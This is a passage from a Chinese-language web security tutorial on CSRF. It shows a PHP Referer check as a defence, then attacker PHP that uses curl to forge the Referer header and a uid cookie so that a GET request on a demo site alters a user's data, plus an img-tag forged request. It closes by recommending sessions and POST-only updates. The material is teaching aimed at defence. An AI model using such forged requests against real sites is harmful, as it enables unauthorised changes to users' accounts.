其实防范措施也比较简单,A站点可以在get-update.php脚本中判断请求头的来源,如果来源不是A站点就可以截断请求,下面在get-update.php增加些代码:
<?php // 检查上一页面是否为当前站点下的页面 if (!empty($_SERVER['HTTP_REFERER'])) { if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'html5.yang.com') { // 可以设置http错误码或者指向一个无害的url地址 //header('HTTP/1.1 404 not found'); //header('HTTP/1.1 403 forbiden'); header('Location: http://html5.yang.com/favicon.ico'); // 这里需要注意一定要exit(), 否则脚本会接着执行 exit(); } } $str = file_get_contents('data.json'); // 代码省略
但是,这样就万事大吉了吗,如果http请求头被伪造了呢?A站点升级了防御,B站点同时也可以升级攻击,通过curl请求来实现csrf,修改B站点的csrf.php代码如下:
<?php $url = 'http://html5.yang.com/csrfdemo/get-update.php?uid=101&username=jsonp'; $refer = 'http://html5.yang.com/'; // curl方法发起csrf攻击 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); // 设置Referer curl_setopt($ch, CURLOPT_REFERER, $refer); // 这里需要携带上cookie, 因为A站点get-update.php对cooke进行了判断 curl_setopt($ch, CURLOPT_COOKIE, 'uid=101'); curl_exec($ch); curl_close($ch); ?> <img src="http://html5.yang.com/csrfdemo/get-update.php?uid=101&username=jsonp">
4,小结
下面我们回到问题的开始,站点A通过cookie来跟踪用户会话,在cookie中存放了重要的用户信息uid,get-update.php脚本通过判断用户的cookie正确与否来决定是否更改用户信息,看来靠cookie来跟踪会话并控制业务逻辑是不太安全的,还有最严重的一点:get-update.php通过get请求来修改用户信息,这个是大忌。所以站点A可以接着升级防御:用session来代替cookie来跟踪用户会话信息,将修改用户信息的逻辑重写,只允许用post方法来请求用户信息。站点B同样可以升级攻击:curl可以构造post请求,劫持session等等,不过这些我还没研究过,后续再说吧。